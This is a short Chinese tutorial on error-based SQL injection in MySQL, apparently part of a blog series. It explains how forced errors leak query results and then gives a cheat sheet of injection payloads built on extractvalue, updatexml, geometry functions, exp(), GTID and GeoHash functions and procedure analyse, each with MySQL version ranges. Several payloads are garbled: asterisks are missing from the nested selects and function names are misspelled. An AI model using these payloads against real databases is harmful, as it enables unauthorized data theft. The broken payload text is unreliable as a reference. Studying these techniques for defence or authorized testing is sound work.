10分钟了解sql注入--报错注入(二)

简介: 🍀学会报错注入
🏆今日学习目标:
🍀学会报错注入
✅创作者:贤鱼

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原理

利用数据库某些机制,人为制造错误,使得查询的结果出现在报错中
sql查询的星系会被报错语句返回到界面上

注入

extractvalue

extractvale(MXL_document,xpath_string);

第一个参数为xml字符串
第二个参数为xpath格式字符串

作用,从xml中返回包含查询字符串

==注意!== 查询时用group_concat或者limit
记得用substr函数进行截取,extractvalue报错信息最多32个字符

后面的程序和上文union注入差不多,如有需要可以查看

双查询注入

上文所说查询时用group_concat或者limit
有些版本的mysql中query不能用聚合函数,面对这种情况,我们只能从口袋里掏出limit
在这里插入图片描述
用limit将结果一行一行爆出

双列名查询

join:
用于将两个表连接

在sql查询时,如果查询的两个列名是一样的就会报错,我们可以利用这个机制注入

报错函数

extractvalue(XML_document,XPath_string);

xml这两个函数报错时,会忽略掉第一个字符若,其后字符
与它连续且相同,也会被忽略 第一个参数:XML_document
是String格式,为XML文档对象的名称,文中为Doc 第二个
参数:XPath_string (Xpath格式的字符串). 作用:从目标
XML中返回包含所查询值的字符串 ( >=5.1.5)
updatexml(1,concat(0x282b,(QUERY),0x292b),1)

updatexml(XML_document,XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对
象的名称,文中为Doc 第二个参数:XPath_string (Xpath格
式的字符串)。 第三个参数:new_value,String格式,替换
查找到的符合条件的数据 ( >=5.1.5)
extractvalue(1,concat(0x282b,(QUERY),0x292b))

geometrycollection()

geometrycollection((select from(select from(select
user())a)b));(5.1>=version<=5.5.48 )

multipoint()

multipoint((select * from(select user())b));
(5.1>=version<=5.5.48 )

polygon()

select polygon((select from(select from(select
user())a)b));(5.1>=version<=5.5.48 )

multipolygon()

multipolygon((select from(select from(select
user())a)b));(5.1>=version<=5.5.48 )

linestring()

linestring((select from(select from(select user())a)b));
(5.1>=version<=5.5.48 )

multilinestring()

multilinestring((select from(select from(select
user())a)b));(5.1>=version<=5.5.48 )

exp()

exp(~(select * from(select user())a));
(5.1>=version<=5.5.48 )

ST_LatFromGeoHash()

select ST_LatFromGeoHash(user());(>=5.7)

ST_LongFromGeoHash()

select ST_LongFromGeoHash(user());(*>=5.7)

GTID_SUBSET()

select GTID_SUBSET(user(),1);(*>=5.7)

GTID_SUBTRACT()

select GTID_SUBTRACT(user(),1);(*>=5.7)

ST_PointFromGeoHash()

select ST_PointFromGeoHash(user(),1);(*>=5.7)

procedure analyse()

procedure
analyse(extractvalue(1,concat(0x3a,user())),1); 放在语句
末尾,(*<=5.6.17)

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